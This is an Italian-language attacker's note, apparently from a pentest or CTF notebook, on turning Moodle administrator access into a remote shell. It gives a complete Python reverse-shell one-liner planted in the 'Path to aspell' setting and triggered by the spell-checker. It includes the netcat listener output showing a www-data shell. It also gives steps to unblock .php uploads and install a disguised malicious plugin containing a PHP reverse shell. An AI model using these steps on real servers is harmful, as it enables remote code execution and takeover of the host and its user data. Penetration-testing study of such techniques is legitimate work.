tags: Moodle reverse_shell CMS


Metodo 1

Per caricare una reverse shell dobbiamo prima andare nella sezione Site administration Server System paths, in questa pagina vedrai vari percorsi di sistema (es. Path to du, Path to dot). Cerca il campo: Path to aspell. Dovrebbe contenere qualcosa come /usr/bin/aspell.

Sostituisci il file con una reverse shell Python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.xx.xx.xx",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ora prova a caricare un post come blog, formu, ecc, l’importante è che abbia la possibilità di modicare il testo in stile Microsoft Word. Una volta trovato questo tipo di form clicca sulla icona del controllo dell’ortografia ABC:

Non appena clicchi su quell’icona ti apparirà una reverse shell dove sei in ascolto con Netcat:

nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.82.187.162 39094
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Metodo 2

Se il metodo Aspell non funziona o preferisci caricare un file fisico:

  1. Sblocca i permessi: Vai su Site administration Security Site policies. Cerca l’opzione “Enable execution paths” (o simile) e controlla se puoi abilitarla. Soprattutto, cerca la lista delle estensioni bloccate o permesse. Se vedi .php tra i file proibiti, rimuovilo.

  2. Installa un Plugin Malevolo: Gli admin possono installare plugin .zip.

    • Prendi la tua reverse shell PHP (php-reverse-shell.php).

    • Inseriscila in una cartella chiamata block_shell.

    • Crea un file version.php minimale (copialo da un altro plugin Moodle) per farlo sembrare legittimo.

    • Zippa la cartella.

    • Vai su Site administration Plugins Install plugins e carica lo zip.

    • Se l’installazione parte, lo script PHP verrà estratto nella cartella /blocks/block_shell/shell.php (o simile) e potrai richiamarlo via browser.